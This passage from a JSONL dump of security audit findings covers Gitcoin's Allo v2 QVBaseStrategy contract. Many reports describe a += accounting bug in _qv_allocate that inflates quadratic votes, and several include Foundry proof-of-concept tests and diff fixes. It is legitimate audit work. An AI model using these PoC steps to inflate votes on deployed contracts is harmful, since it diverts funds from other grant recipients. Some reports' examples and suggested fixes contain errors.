Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L575\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adjusting `QVBaseStrategy._qv_allocate()` so that `totalCredits` gets assigned to instead of being added to `_allocator.voiceCreditsCastToRecipient[_recipientId]`:\n\n```solidity\n// QVBaseStrategy._qv_allocate()\n529 _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/459.md"}} +{"title":"Wrong accounting of `voiceCreditsCastToRecipient` in QVBaseStrategy","severity":"medium","body":"Recumbent Citron Mustang\n\nhigh\n\n# Wrong accounting of `voiceCreditsCastToRecipient` in QVBaseStrategy\n\nIn the function [`_qv_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506) of the QVBaseStrategy contract, the accounting is wrong which result in more votes received for a recipient if the allocator votes multiple times for him.\n\n## Vulnerability Detail\n\nThe function [`_qv_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506) allows to compute and store the votes and credits used by allocators on a given recipient.\n\nIt first query the previous votes and credits casted on the recipient and then compute the new values.\n\nBut when storing the new credits used on the recipient by the allocator, it adds the total used (previous + new credits) to the previous value instead of assigning it. \nThis results in the storage variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` to increase more than it should as after each iteration it's new value is `creditsCastToRecipient + totalCredits` instead of `totalCredits`.\n\nThus on the next iteration the votes computed will be higher and the `_allocator.voiceCreditsCastToRecipient[_recipientId]` will keep increasing.\n\nCasting multiple times a low amount of credits will result in higher vote value for a recipient than a one time casting.\n\n## Impact\n\nHigh. Wrong accounting of votes, casting small amounts multiple time results in more votes than it should.\n\n## Code Snippet\n\n[Code error snippet.](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529)\n\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\nHere is a poc that can be copy pasted in QVSimpleStrategy.t.sol\n\n```solidity\nfunction test_allocate_wrong_accounting() public {\n //get recipient and allocator\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n //add allocator\n vm.prank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n vm.warp(allocationStartTime + 10);\n\n //max vote is 100, we are going to vote 10\n bytes memory allocateData = __generateAllocation(recipientId, 10);\n\n //vote 10 multiple times (3 times) so we cast 30 votes total\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n //query total vote stored\n QVSimpleStrategy.Recipient memory _recipient = qvSimpleStrategy().getRecipient(recipientId);\n uint totalVote = _recipient.totalVotesReceived;\n\n //compute real total vote value\n uint realTotalVote = _sqrt(30 * 1e18);\n\n //compute what the contract computed, we have 40 credits of voting power instead of 30\n uint wrongAccounting = _sqrt(40 * 1e18);\n\n //real vote power of 30 credits is less then what is stored\n assertLt(realTotalVote, totalVote);\n assertEq(wrongAccounting, totalVote);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `=` instead of `+=` when storing the `_allocator.voiceCreditsCastToRecipient[_recipientId]` value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/456.md"}} +{"title":"Wrongly updating ````voiceCreditsCastToRecipient```` in ````_qv_allocate()```` of ````QVBaseStrategy```` contract","severity":"medium","body":"Atomic Ultraviolet Mole\n\nhigh\n\n# Wrongly updating ````voiceCreditsCastToRecipient```` in ````_qv_allocate()```` of ````QVBaseStrategy```` contract\nThe ````voiceCreditsCastToRecipient```` state variable is wrongly updated by ````_qv_allocate()```` function, the votes accounting system of ````QVBaseStrategy```` based contracts would get messed up.\n\n## Vulnerability Detail\nThe issue arises on L529, ````=```` rather than ````+=```` should be used here.\n```diff\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n506: function _qv_allocate(\n507: Allocator storage _allocator,\n508: Recipient storage _recipient,\n509: address _recipientId,\n510: uint256 _voiceCreditsToAllocate,\n511: address _sender\n512: ) internal onlyActiveAllocation {\n513: // check the `_voiceCreditsToAllocate` is > 0\n514: if (_voiceCreditsToAllocate == 0) revert INVALID();\n515: \n516: // get the previous values\n517: uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n518: uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n519: \n520: // get the total credits and calculate the vote result\n521: uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n522: uint256 voteResult = _sqrt(totalCredits * 1e18);\n523: \n524: // update the values\n525: voteResult -= votesCastToRecipient;\n526: totalRecipientVotes += voteResult;\n527: _recipient.totalVotesReceived += voteResult;\n528: \n-529: _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+529: _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n531: \n532: // emit the event with the vote results\n533: emit Allocated(_recipientId, voteResult, _sender);\n534: }\n```\n\n\n\n## Impact\nthe votes accounting system of ````QVBaseStrategy```` based contracts get messed up.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSee Vulnerability Detail.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/417.md"}} +{"title":"Updating `allocator.voiceCreditsCastToRecipient` wrongly causing getting bigger voting power then expected","severity":"medium","body":"Immense Teal Penguin\n\nhigh\n\n# Updating `allocator.voiceCreditsCastToRecipient` wrongly causing getting bigger voting power then expected\nUpdating `allocator.voiceCreditsCastToRecipient` wrongly causing getting bigger voting power then expected\n## Vulnerability Detail\nIn function `_qv_allocate()`\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n ...\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; //<@ NOTICE this line\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n ...\n }\n```\n`allocator.voiceCreditsCastToRecipient` got updated like this:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits\n```\nBut `totalCredits = _voiceCreditsToAllocate + _allocator.voiceCreditsCastToRecipient[_recipientId]`, which means:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += _allocator.voiceCreditsCastToRecipient[_recipientId] + creditsCastToRecipient\n```\nwhich mean:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = _allocator.voiceCreditsCastToRecipient[_recipientId] * 2 + creditsCastToRecipient\n```\n\nConclusion: `allocator.voiceCreditsCastToRecipient` got added more than expected \n## Impact\nBecause `allocator.voiceCreditsCastToRecipient` is bigger than expected, the next time the allocator vote for the recipient will have more voting power than expected\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107C1-L124C6\n## Tool used\n\nManual Review\n\n## Recommendation\nReplace this line:\n```solidity\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/414.md"}} +{"title":"QVBaseStrategy:_qv_allocate: `totalVotesReceived` can be raised exponentially","severity":"medium","body":"Proud Honey Aardvark\n\nhigh\n\n# QVBaseStrategy:_qv_allocate: `totalVotesReceived` can be raised exponentially\nWhen spending credits with `_qv_allocate()` one credit at a time instead of all at once `allocator.voiceCreditsCastToRecipient[recipientId]` grows exponentially exceeding the amount of credits to give.\n## Vulnerability Detail\nInstead of just writing the value back in [QVBaseStrategy.sol#L529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) the **new total** ([QVBaseStrategy.sol#L521](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L521)) **is added** back **on top of** the **old total value** ([QVBaseStrategy.sol#L517](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517)).\nWhen calling the function multiple times spending on credit at a time the value grows exponentially and since this value flows into `totalVotesReceived`, `recipient.totalVotesReceived` itself also grows exponentially.\n\nThe relevant code and a Foundry Test highlighting the issue can be found below.\n\n## Impact\nSince `allocator.voiceCreditsCastToRecipient` flows into the `voteResult` and in `totalVotesReceived` as well as `totalRecipientVotes` a malicious pool-manager can first use bug #3 approve a recipient and then exponentially tilt the vote in favour of that recipient. Creating an unfair financial advantage [(see `_getPayout()`)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571). \n## Code Snippet\nAffected code: [QVBaseStrategy.sol#L517C1-L529C78](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517C1-L529C78)\n\nThe bug: [QVBaseStrategy.sol#L529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529)\n```solidity\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\nFoundry Test highlighting the issue:\n```solidity\n function test_allocate_BUG() public virtual {\n //address recipientId = __register_accept_recipient();\n vm.warp(registrationStartTime + 10);\n\n // register\n vm.startPrank(address(allo()));\n bytes memory data = __generateRecipientWithoutId(false);\n address recipientId1 = qvStrategy().registerRecipient(data, recipient1());\n address recipientId2 = qvStrategy().registerRecipient(data, recipient2());\n vm.stopPrank();\n \n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n vm.warp(allocationStartTime + 10);\n\n bytes memory spendAllCredits = __generateAllocation(recipientId1, 4);\n bytes memory spendOneCredit = __generateAllocation(recipientId2, 1);\n vm.stopPrank();\n vm.startPrank(address(allo()));\n\n // TEST STARTS HERE\n // spend credits all at once\n qvStrategy().allocate(spendAllCredits, allocator);\n\n // spend credits one at a time\n qvStrategy().allocate(spendOneCredit, allocator);\n qvStrategy().allocate(spendOneCredit, allocator);\n qvStrategy().allocate(spendOneCredit, allocator);\n qvStrategy().allocate(spendOneCredit, allocator);\n\n QVBaseStrategy.Recipient memory recipient_1 = qvStrategy().getRecipient(recipientId1);\n QVBaseStrategy.Recipient memory recipient_2 = qvStrategy().getRecipient(recipientId2);\n\n assertEq(recipient_1.totalVotesReceived, recipient_2.totalVotesReceived);\n }\n```\nConsider that the impact will increase with the amount of credits that can be spent, here only 4 credits where available:\n```solidity\n[FAIL. Reason: Assertion failed.] test_allocate_BUG() (gas: 480130)\nLogs:\n Error: a == b not satisfied [uint]\n Left: 2000000000\n Right: 2828427124\n```\n## Tool used\n\nManual Review and Foundry Test\n\n## Recommendation\nDelete the `+` and make it\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```\nin [QVBaseStrategy.sol#L529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/328.md"}} +{"title":"Voice credits cast to recipient is incorrectly accounted in QVBaseStrategy contract","severity":"medium","body":"Shiny Gingham Bee\n\nhigh\n\n# Voice credits cast to recipient is incorrectly accounted in QVBaseStrategy contract\nIn `QVBaseStrategy::_qv_allocate()` function logics, allocator's voice credits cast to a recipient is improperly accounted\n\n## Vulnerability Detail\n`QVBaseStrategy::_qv_allocate()` lets an allocator allocating voice credits to a recipient. In the function, vote result is computed from allocator's total credits and then added to `totalRecipientVotes` and `_recipient.totalVotesReceived`. After that, allocator's states would get updated. \nHere, `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits` is an incorrect storage update while the additional voice credits cast to recipient is just `_voiceCreditsToAllocate`\n\n## Impact\n1. Since `_allocator.voiceCreditsCastToRecipient[_recipientId]` get accounted improperly, vote results would get calculated wrongly ==> payout amounts get miscalculated, accordingly. Equivalently, it could be attacks to manipulate vote results and payout amounts\n2. Function `QVSimpleStrategy::_hasVoiceCreditsLeft()` does not return as expected\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n## Tool used\n\nManual Review\n\n## Recommendation\n`_allocator.voiceCreditsCastToRecipient[_recipientId]` should be increased by `_voiceCreditsToAllocate` instead of `totalCredits`:\n```diff\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/325.md"}} +{"title":"QVBaseStrategy.sol#_qv_allocate()","severity":"medium","body":"Brilliant Chambray Reindeer\n\nhigh\n\n# QVBaseStrategy.sol#_qv_allocate()\n`_qv_allocate` is used to allocate voice credits to a recipient. The function takes all the previous `creditsCastToRecipient` and `votesCastToRecipient`, calculates the `totalCredits` and `voteResult` (basically the NEW TOTAL credits and votes for that recipient).\n\n## Vulnerability Detail\nThe problem occurs in the following lines:\n\n```javascript\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\nWe can see that we subtract `votesCastToRecipient` (PREVIOUS votes) from `voteResult` (TOTAL votes), then we add `voteResult` (which is now just the NEW votes) to the allocator's `votesCastToRecipient`. The problem lies that we don't do the same for `totalCredits`. We do not subtract `creditsCastToRecipient` (previous) from `totalCredits` (total). Because we don't do this when we get to this line `_alocator.voiceCreditsCastToRecipient[recipientId] += totalCredits` we basically take the old credits and add the total credits, which includes the old credits in them.\n\nLet's look at a short example:\ncreditsCastToRecipient = 10 (previous)\n_voiceCreditsToAllocate = 10 (new)\n\ntotalCredits = _voiceCreditsToAllocate + _voiceCreditsToAllocate (10+10 = 20)\n\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits (10 + 20 = 30)\n\nWe forget to remove the `creditsCastToRecipient` from `totalCredits` and this issue occurs.\n\n## Impact\nIncorrect accounting of votes. Allocators will influence the votes exponentially more, even when they don't allocate that many credits.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd the following line to get the correct accounting:\n`totalCredits -= creditsCastToRecipient`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/311.md"}} +{"title":"`_qv_allocate` uses wrong math to add the `totalCredits`","severity":"medium","body":"Obedient Basil Lizard\n\nhigh\n\n# `_qv_allocate` uses wrong math to add the `totalCredits`\n[_qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534) uses wrong math when adding `totalCredits` to `_allocator.voiceCreditsCastToRecipient[_recipientId]`. This will cause the allocators vice credits cast to be overinflated.\n\n## Vulnerability Detail\nWhen an allocator allocates voice credits a series of calls is performed, leading to the final [_qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534) where our issue occurs.\nThe function extracts the [already allocated credits](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517) into memory (`creditsCastToRecipient`) and combines them with the current to be allocated credits into [totalCredits](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L521). Then it uses the total credits to calculate the [voteResult](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L522C57-L522C57). After allocating the votes, it does the crucial mistake to increase ` _allocator.voiceCreditsCastToRecipient` by `totalCredits`, and not `_voiceCreditsToAllocate`. This means that previously allocated credits are double added to the mapping. Which afterwards is used to [calculate the next vote](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L522C57-L522C57) weight.\n\nExample:\nA total credits - **150**\n\n 1. A allocates to **B** 100 credits \n - **B** receives 10 votes as [voteResult = sqrt(totalCredits)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L522)\n - **A** `A.voiceCreditsCastToRecipient[B] == 100`\n\n 2. A allocates to **B** 1 credit\n - Now [totalCredits](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L521C17-L521C29) are 101 (new 1 + old 100) and the sqrt(101) == 10.04\n - **B** receives 0.04 votes (10.04 - 10 = 0.04)\n - **A** `A.voiceCreditsCastToRecipient[B]` are increased by 101 instead of 1 making it 201\n\n 3. A allocates to **B** again 1 credit\n - Now [totalCredits](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L521C17-L521C29) are 202 (new 1 + old 201) and the sqrt(202) == 14.21\n - **B** receives 4.17 votes (14.21 - 10.04 = 4.17)\n - **A** `A.voiceCreditsCastToRecipient[B]` are increased by 202 instead of 1 making it 403\n\nThis can continue onward increasingly inflating the votes.\n\n## Impact\nUser can increase the votes of another user, without having the required weight to do so.\n## Code Snippet\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n //@audit H wrong addition, it should only add `_voiceCreditsToAllocate`\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; \n```\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n function _qv_allocate(...) internal onlyActiveAllocation {\n ...\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; \n+ _allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate; \n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/286.md"}} +{"title":"Vote Inflation Issue in `_qv_allocate()` Leads to Unfair Fund Distribution in `_distribute()`","severity":"medium","body":"Little Cloth Coyote\n\nhigh\n\n# Vote Inflation Issue in `_qv_allocate()` Leads to Unfair Fund Distribution in `_distribute()`\nIncorrect updating of `_allocator.voiceCreditsCastToRecipient[_recipientId]` in `_qv_allocate()` can inflate votes, potentially leading to excessive fund distribution in `_distribute()`.\n\n## Vulnerability Detail\nThe `_qv_allocate()` function does not properly update the `_allocator.voiceCreditsCastToRecipient[_recipientId]`. After updating the votes for `recipientId`, this function incorrectly updates the total `voiceCreditsCastToRecipient` maintained by `_allocator`.\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n`_allocator.voiceCreditsCastToRecipient[_recipientId]` should actually be represented as `totalCredits`, as `totalCredits` already encompasses the previously allocated credit for the `recipientId`(current implementation indicates more credit than actual amount). The problem emerges when `_allocator` votes multiple times for the same `recipientId`. Because `_allocator.voiceCreditsCastToRecipient[_recipientId]` is not handled correctly, it can artificially inflate the number of votes received by `recipientId`. Consequently, this can result in `recipientId` receiving more funds in the `_distribute()` function.\n```solidity\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Impact\nUnfair distribution of funds due to inflated votes.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/283.md"}} +{"title":"allocator voiceCreditsCastToRecipient value calculate twice resulting in an incorrect calculation","severity":"medium","body":"Original Navy Donkey\n\nhigh\n\n# allocator voiceCreditsCastToRecipient value calculate twice resulting in an incorrect calculation\nWhen calculating voiceCreditsCastToRecipient, the double accumulation resulted in an incorrect calculation\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506#L534\n\nthe value of `creditsCastToRecipient` means previous amount of `voiceCreditsCastToRecipient` , Its value had already been accumulated into totalCredits\n```solidity\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n```\n but here we can see it was added again, leading to an incorrect calculation\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;//@audit <------------------- voiceCreditsCastToRecipient sum twice.\n```\n\nand i write a test POC:\nadd a function to QVBaseStrategy to read data:\n```solidity\n function getAllocator(address a,address r) external view returns (uint256) {\n return (allocators[a].voiceCreditsCastToRecipient)[r];\n }\n```\n\n```solidity\n function testAllocate() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n vm.warp(allocationStartTime + 10);\n\n qvSimpleStrategy().addAllocator(allocator);\n\n\n vm.stopPrank();\n bytes memory allocateData = __generateAllocation(recipientId, maxVoiceCreditsPerAllocator);\n\n vm.startPrank(address(allo()));\n\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n uint256 total = qvSimpleStrategy().getAllocator(allocator,recipientId);\n\n //expect to be maxVoiceCreditsPerAllocator*2 but it's maxVoiceCreditsPerAllocator*3\n assertEq(maxVoiceCreditsPerAllocator * 3,total);\n }\n```\n\n## Impact\n incorrect calculation\n\n## Code Snippet\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient; ;//@audit <--------- voiceCreditsCastToRecipient once.\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;//@audit <--------- voiceCreditsCastToRecipient twice.\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nNo need for redundant accumulation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/282.md"}} +{"title":"`_qv_allocate` doesn't properly set 